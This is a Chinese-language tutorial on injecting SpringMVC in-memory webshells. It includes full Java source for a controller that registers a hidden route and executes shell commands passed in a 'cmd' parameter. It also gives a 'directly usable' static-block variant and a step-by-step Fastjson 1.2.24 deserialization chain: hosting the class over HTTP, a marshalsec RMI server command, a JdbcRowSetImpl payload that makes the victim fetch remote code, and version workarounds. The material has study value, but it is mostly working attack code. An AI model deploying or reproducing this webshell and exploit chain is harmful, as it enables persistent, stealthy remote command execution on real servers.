Java内存马_SpringMVC 内存马
Servlet 能做内存马,Controller 当然也能做,不过 SpringMVC 可以在运行时动态添加 Controller 吗?答案是肯定的。在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。
SpringMVC内存马demo(非实战使用)
注意:以下内存马是在项目中启动加载的,不是实战时打入的内存马,这里只做分析原理使用
package com.leyilea.springmemshell;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
@RestController
public class TestEvilController {
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
@RequestMapping("/inject")
public String inject() throws Exception{
String controllerName = "/" + getRandomString();
PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
Method method = InjectedController.class.getMethod("cmd");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
}
@RestController
public static class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
response.setCharacterEncoding("GBK");
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
SpringMVC内存马demo代码分析
其中最重要的是这段代码:
@RequestMapping("/inject")
public String inject() throws Exception{
// 创建一个随机路径,作为请求路径
String controllerName = "/" + getRandomString();
// 实例化一个 RequestMappingInfo 对象,传入urlPattern、condition
PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
// 实例化一个 恶意类InjectedController对象
InjectedController injectedController = new InjectedController();
// 通过反射获取到 registerMapping 需要用到的 method 对象
Method method = InjectedController.class.getMethod("cmd");
// 获取 WebApplicationContext 对象
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 通过 context 获取到 requestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过 requestMappingHandlerMapping 的 registerMapping方法 注册 mapping
// 需要3个参数
// org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping,
// Object handler,
// java.lang.reflect.Method method
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
}
核心就是通过requestMappingHandlerMapping.registerMapping
“注册一个mapping”,有了这个“mapping”,我们就可以访问某个路径调用对应的类的方法。注册的时候需要用到3个参数:
- org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping,
- Object handler,
- java.lang.reflect.Method method
其中mapping是RequestMappingInfo对象,handler为注册的类,method为注册的类的方法。
获取所有的requestMapping
为了验证内存中是否多了恶意类的requestMapping,可以对比在注入之前和注入之后查看所有的requestMapping。
@Resource
private RequestMappingHandlerMapping handlerMapping;
@RequestMapping("getMappings")
public String getAllRequestMapping(){
// 所有URL mapping
StringBuilder result = new StringBuilder();
Map<RequestMappingInfo, HandlerMethod> requestMappingInfoHandlerMethodMap = this.handlerMapping.getHandlerMethods();
Optional.ofNullable(requestMappingInfoHandlerMethodMap).ifPresent(map -> {
map.forEach((requestMappingInfo, handlerMethod) -> {
System.out.println(requestMappingInfo.toString());
System.out.println(handlerMethod.toString());
Optional.ofNullable(requestMappingInfo.getPatternsCondition()).ifPresent(patternsRequestCondition -> {
Optional.ofNullable(patternsRequestCondition.getPatterns()).ifPresent(set -> {
set.forEach(s ->{
// 解决rest方式 占位符问题 /home/get/{id} 替换为 /home/get/
String url = s.replaceAll("\\{.*\\}", "");
if(StringUtils.hasLength(url)){
result.append(url + ":" + handlerMethod + "<br>");
}
}
);
});
});
});
});
return result.toString();
}
注入之前的所有requestMappings:
注入之后的所有requestMappings:
Fastjson漏洞下打入SpringMVC内存马
1、实战中使用的内存马,可直接使用
其实就是上述说明原理的代码的“动态注册Controller和注册mapping映射”的代码放入到static静态块中,当实例化该恶意类时会自动执行static静态块中的代码,实现内存马的写入。
怎么实例化恶意类?比如反序列化漏洞,如fastjson反序化漏洞加载该恶意类。
1)代码如下
注意:对SpringBoot版本有要求!!坑!!不能太高。
EvilSpringMVC.java
package com.leyilea.springmvcshell;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
public class EvilSpringMVC {
static {
// 1. 实例化一个 RequestMappingInfo对象
PatternsRequestCondition urlPattern = new PatternsRequestCondition("/springMemeShell");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
// 在内存中动态注册controller
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition,null,null,null,null,null);
// 2. 实例化一个恶意类InjectedController
InjectedController injectedController = new InjectedController();
// 3. 通过反射获取到 method 对象
Method method = null;
try {
method = InjectedController.class.getMethod("cmd");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 4. 注册mapping
// 4.1 获取到WebApplicationContext对象
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 4.2 获取到 requestMappingHandlerMapping 对象
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 4.3 注册mapping
requestMappingHandlerMapping.registerMapping(info,injectedController,method);
}
public static class InjectedController{
// 恶意代码类
public InjectedController(){}
// 执行系统命令的函数
public void cmd() throws Exception{
System.out.println("已进入cmd()");
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
response.setCharacterEncoding("GBK");
if(request.getParameter("cmd")!=null){
boolean isLinux = true;
String osType = System.getProperty("os.name");
if(osType!=null && osType.toLowerCase().contains("win")){
isLinux = false;
}
String cmd = request.getParameter("cmd");
String[] cmds = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
2)简单测试下能不能使用
这里可以创建一个测试的类,在其中实例化恶意类,看是否能够打入内存马。如下:
测试类:
将恶意类也放入项目中。
启动SpringMVC项目,浏览器访问http://地址/testEvil
执行测试类中的testEvil方法,浏览器页面显示如下:
这样就实例化了恶意类,进而执行恶意类中的static静态代码块,进而注册Controlle和mapping,打入内存马。
接下来访问内存马,看是否可以正常执行系统命令:(这里的路径为恶意代码中指定的/springMemeShell
)
可以看到,可以成功命令执行,也就是成功打入内存马。
这里只是测试,接下来尝试通过漏洞打入内存马。
2、准备一个fastjson反序列化漏洞环境
注意:环境需要是SpringMVC环境,因为打入的是SpringMVC内存马。
这里使用idea搭建一个简易的Web程序(SpringBoot搭建)
- 当然也可以使用vulhub搭建靶场(vulhub不直观,所以还是自己写代码搭建)
FastjsonController代码如下:
package com.l3yiasec.fastjsonspringboot.controller;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.springframework.web.bind.annotation.*;
@RestController
public class FastjsonController {
@RequestMapping(value = "/test1",method = RequestMethod.POST)
@ResponseBody
public String test1(@RequestBody String data){
System.out.println(data);
JSONObject jsonObject = JSON.parseObject(data);
System.out.println(jsonObject);
return jsonObject.toString();
}
}
pom.xml中将fastjson修改为含有漏洞的版本,比如1.2.24
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
启动服务,使用浏览器访问,效果如图(此页面就是spring的404页面)
访问路由,使用burpsuite抓包,将请求方式修改为POST
3、搭建恶意站点
1)将恶意的.java文件编译成.class文件(恶意类)
EvilSpringMVC.java文件代码略,看第1步。
编译命令如下:
javac .\EvilSpringMVC.java
生成EvilSpringMVC.class文件,但是这里注意因为文件内有导入其他jar包,所以javac直接编译会报错。
这里使用idea编译,新建一个空的maven项目,将EvilSpringMVC.java放入到java目录下,使用mevan的编译工具编译成EvilSpringMVC.class文件。
注意1:java需使用1.8版本
注意2:.java文件中不要带有package ***;
注意3:需要将EvilSpringMVC.java放在java包下。
注意这里生产了两个.class文件,因为我们写的马中含有另外一个类。
2)搭建http服务,将.class文件放入网站根目录
搭建http服务可以使用很多方式,这里使用python快速搭建
python -m http.server 8888
此时访问该恶意站点服务器,可以访问当.class文件:
4、使用marshalsec启动rmi服务
marshalsec项目下载地址:https://github.com/mbechler/marshalsec
这款神器,可以快速开启RMI和LDAP服务。
1)编译.jar文件
在marshalsec项目目录下(pom.xml所在目录)执行命令编译.jar文件
mvn clean package -DskipTests
生成的文件在target目录下,如下图
或者使用别人编译打包好的https://github.com/RandomRobbieBF/marshalsec-jar
marshalsec-0.0.3-SNAPSHOT-all.jar
2)执行命令,启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP地址:端口号/#class文件名" RMI服务端口号
5、发送payload,加载恶意类,打入内存马
在没有发送payload之前,测试访问内存马地址,出现404:
payload如下:
Content-Type: application/json
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://RMI服务器IP:端口/exploit",
"autoCommit":true
}
}
注意此处的exploit,为.class文件名(不带.class),即EvilSpringMVC
此时rmi服务器显示:
http服务器显示:
6、访问内存马,成功执行任意命令
SpringMVC内存马的实战打入总结
- 整体漏洞利用+写入内存马的执行流程是:
- 1)发送payload,即json数据,存在恶意rmi或ladp服务地址(fastjson漏洞)
- 2)服务器收到payload之后,解析payload(fastjson功能),反序列化
com.sun.rowset.JdbcRowSetImpl
类,触发访问rmi或ldap服务的功能 - 3)从rmi或ldap服务器请求了恶意的class文件,即内存马class文件,加载到受害者服务器中
- 4)受害者服务器执行class文件代码,触发动态注册Controller等代码,在服务其中动态注册了恶意的Controller和映射
- 5)攻击者访问内存马路径地址,带上相应参数,会触发SpringMVC的mapping映射,找到对应的恶意Controller的特定方法,进而执行系统命令。
- 这里使用ldap服务打入也是可以的。
!!!闭坑指南!!!
坑1:
访问内存马时出现这个报错,是因为该内存马对SpringBoot版本有要求,不能太高,经测试SpringBoot版本需要小于2.6.0。
修改springboot版本可以在pom.xml文件中修改
坑2:
这里使用fastjson 1.2.24版本的反序列漏洞,jdk版本需要使用1.8_102才能成功。
参考链接
https://blog.csdn.net/MachineGunJoe/article/details/131555916
https://blog.csdn.net/weixin_46318447/article/details/139520192
https://www.freebuf.com/vuls/346315.html
Java内存马-SpringMVC篇_expected parsed requestpath in request attribute "-CSDN博客